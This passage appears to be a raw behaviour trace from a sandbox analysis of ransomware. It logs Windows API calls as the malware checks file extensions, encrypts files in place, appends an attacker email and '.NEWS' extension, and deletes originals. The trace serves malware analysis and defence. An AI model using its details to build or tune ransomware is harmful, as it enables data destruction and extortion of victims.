lstrlenW (lpString=".1cd") returned 4 [0065.229] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.229] lstrlenW (lpString=".jpg") returned 4 [0065.229] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.229] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.229] lstrlenW (lpString="stop.ico") returned 8 [0065.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.230] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10134) returned 1 [0065.230] CloseHandle (hObject=0x350) returned 1 [0065.230] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0065.230] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.230] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.230] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.230] GetLastError () returned 0x0 [0065.230] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x2796, lpOverlapped=0x0) returned 1 [0065.835] WriteFile (in: hFile=0x33c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0065.837] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.837] WriteFile (in: hFile=0x33c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0065.837] SetEndOfFile (hFile=0x33c) returned 1 [0065.837] CloseHandle (hObject=0x33c) returned 1 [0065.838] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.838] SetEndOfFile (hFile=0x350) returned 1 [0065.839] CloseHandle (hObject=0x350) returned 1 [0065.839] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.839] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0065.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.840] lstrlenW (lpString=".doc") returned 4 [0065.840] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.840] lstrlenW (lpString=".docx") returned 5 [0065.840] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0065.840] lstrlenW (lpString=".pdf") returned 4 [0065.840] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.840] lstrlenW (lpString=".xls") returned 4 [0065.840] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.840] lstrlenW (lpString=".xlsx") returned 5 [0065.840] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0065.840] lstrlenW (lpString=".ppt") returned 4 [0065.840] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.840] lstrlenW (lpString=".zip") returned 4 [0065.840] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.840] lstrlenW (lpString=".rar") returned 4 [0065.840] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.840] lstrlenW (lpString=".bz2") returned 4 [0065.840] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.840] lstrlenW (lpString=".7z") returned 3 [0065.840] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.840] lstrlenW (lpString=".dbf") returned 4 [0065.840] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.840] lstrlenW (lpString=".1cd") returned 4 [0065.840] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.841] lstrlenW (lpString=".jpg") returned 4 [0065.841] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.841] lstrlenW (lpString=".doc") returned 4 [0065.841] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.841] lstrlenW (lpString=".docx") returned 5 [0065.841] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0065.841] lstrlenW (lpString=".pdf") returned 4 [0065.841] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.841] lstrlenW (lpString=".xls") returned 4 [0065.841] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.841] lstrlenW (lpString=".xlsx") returned 5 [0065.841] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0065.841] lstrlenW (lpString=".ppt") returned 4 [0065.841] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.841] lstrlenW (lpString=".zip") returned 4 [0065.841] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.841] lstrlenW (lpString=".rar") returned 4 [0065.841] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.841] lstrlenW (lpString=".bz2") returned 4 [0065.841] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.841] lstrlenW (lpString=".7z") returned 3 [0065.841] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.841] lstrlenW (lpString=".dbf") returned 4 [0065.841] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.842] lstrlenW (lpString=".1cd") returned 4 [0065.842] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0065.842] lstrlenW (lpString=".jpg") returned 4 [0065.842] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.842] lstrcmpiW (lpString1=".mzz", lpString2=".NEWS") returned -1 [0065.842] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0065.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.842] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=43131591) returned 1 [0065.842] CloseHandle (hObject=0x350) returned 1 [0065.842] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0065.842] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.842] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0065.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.843] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc64 | out: lpNewFilePointer=0x0) returned 1 [0065.843] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0065.843] ReadFile (in: hFile=0x350, lpBuffer=0x3805058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3805058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.848] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0065.848] ReadFile (in: hFile=0x350, lpBuffer=0x3845058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3845058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.852] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c1fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.852] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0065.852] ReadFile (in: hFile=0x350, lpBuffer=0x3885058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3885058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.871] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.871] WriteFile (in: hFile=0x350, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2c1fca8, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0067.730] SetEndOfFile (hFile=0x350) returned 1 [0067.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3e3ba78 [0068.350] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0068.350] WriteFile (in: hFile=0x350, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0068.351] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0068.351] WriteFile (in: hFile=0x350, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0068.352] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0068.352] WriteFile (in: hFile=0x350, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0068.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0068.357] CloseHandle (hObject=0x350) returned 1 [0073.718] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString=".doc") returned 4 [0073.719] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0073.719] lstrlenW (lpString=".docx") returned 5 [0073.719] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0073.719] lstrlenW (lpString=".pdf") returned 4 [0073.719] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0073.719] lstrlenW (lpString=".xls") returned 4 [0073.719] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0073.719] lstrlenW (lpString=".xlsx") returned 5 [0073.719] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0073.719] lstrlenW (lpString=".ppt") returned 4 [0073.719] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString=".zip") returned 4 [0073.719] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0073.719] lstrlenW (lpString=".rar") returned 4 [0073.719] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0073.719] lstrlenW (lpString=".bz2") returned 4 [0073.719] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0073.719] lstrlenW (lpString=".7z") returned 3 [0073.719] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString=".dbf") returned 4 [0073.719] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString=".1cd") returned 4 [0073.719] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString=".jpg") returned 4 [0073.719] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.720] lstrlenW (lpString=".doc") returned 4 [0073.720] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0073.720] lstrlenW (lpString=".docx") returned 5 [0073.720] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0073.720] lstrlenW (lpString=".pdf") returned 4 [0073.720] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0073.720] lstrlenW (lpString=".xls") returned 4 [0073.720] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0073.720] lstrlenW (lpString=".xlsx") returned 5 [0073.720] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0073.720] lstrlenW (lpString=".ppt") returned 4 [0073.720] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0073.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.720] lstrlenW (lpString=".zip") returned 4 [0073.720] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0073.720] lstrlenW (lpString=".rar") returned 4 [0073.720] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0073.720] lstrlenW (lpString=".bz2") returned 4 [0073.720] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0073.720] lstrlenW (lpString=".7z") returned 3 [0073.720] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0073.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.720] lstrlenW (lpString=".dbf") returned 4 [0073.720] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0073.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.720] lstrlenW (lpString=".1cd") returned 4 [0073.720] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0073.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0073.720] lstrlenW (lpString=".jpg") returned 4 [0073.720] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0073.720] lstrlenW (lpString="BCD") returned 3 [0073.720] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString=".doc") returned 4 [0073.721] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString=".docx") returned 5 [0073.721] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0073.721] lstrlenW (lpString=".pdf") returned 4 [0073.721] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString=".xls") returned 4 [0073.721] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString=".xlsx") returned 5 [0073.721] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0073.721] lstrlenW (lpString=".ppt") returned 4 [0073.721] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString=".zip") returned 4 [0073.721] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString=".rar") returned 4 [0073.721] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString=".bz2") returned 4 [0073.721] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString=".7z") returned 3 [0073.721] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString=".dbf") returned 4 [0073.721] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString=".1cd") returned 4 [0073.721] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString=".jpg") returned 4 [0073.721] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.721] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.722] lstrlenW (lpString=".doc") returned 4 [0073.722] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString=".docx") returned 5 [0073.722] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0073.722] lstrlenW (lpString=".pdf") returned 4 [0073.722] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString=".xls") returned 4 [0073.722] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString=".xlsx") returned 5 [0073.722] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0073.722] lstrlenW (lpString=".ppt") returned 4 [0073.722] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.722] lstrlenW (lpString=".zip") returned 4 [0073.722] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString=".rar") returned 4 [0073.722] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString=".bz2") returned 4 [0073.722] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString=".7z") returned 3 [0073.722] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0073.722] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.722] lstrlenW (lpString=".dbf") returned 4 [0073.722] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.722] lstrlenW (lpString=".1cd") returned 4 [0073.722] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0073.722] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0073.722] lstrlenW (lpString=".jpg") returned 4 [0073.722] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0073.722] lstrcmpiW (lpString1=".LOG1", lpString2=".NEWS") returned -1 [0073.722] lstrlenW (lpString="BCD.LOG1") returned 8 [0073.723] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.723] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=0) returned 1 [0073.723] CloseHandle (hObject=0x350) returned 1 [0073.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.723] lstrlenW (lpString=".doc") returned 4 [0073.723] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString=".docx") returned 5 [0073.723] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0073.723] lstrlenW (lpString=".pdf") returned 4 [0073.723] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString=".xls") returned 4 [0073.723] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString=".xlsx") returned 5 [0073.723] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0073.723] lstrlenW (lpString=".ppt") returned 4 [0073.723] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.723] lstrlenW (lpString=".zip") returned 4 [0073.723] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString=".rar") returned 4 [0073.723] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString=".bz2") returned 4 [0073.723] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString=".7z") returned 3 [0073.723] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0073.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.723] lstrlenW (lpString=".dbf") returned 4 [0073.723] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0073.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString=".1cd") returned 4 [0073.724] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString=".jpg") returned 4 [0073.724] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString=".doc") returned 4 [0073.724] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString=".docx") returned 5 [0073.724] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0073.724] lstrlenW (lpString=".pdf") returned 4 [0073.724] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString=".xls") returned 4 [0073.724] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString=".xlsx") returned 5 [0073.724] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0073.724] lstrlenW (lpString=".ppt") returned 4 [0073.724] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString=".zip") returned 4 [0073.724] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString=".rar") returned 4 [0073.724] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString=".bz2") returned 4 [0073.724] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString=".7z") returned 3 [0073.724] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString=".dbf") returned 4 [0073.724] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] lstrlenW (lpString=".1cd") returned 4 [0073.724] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0073.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0073.724] 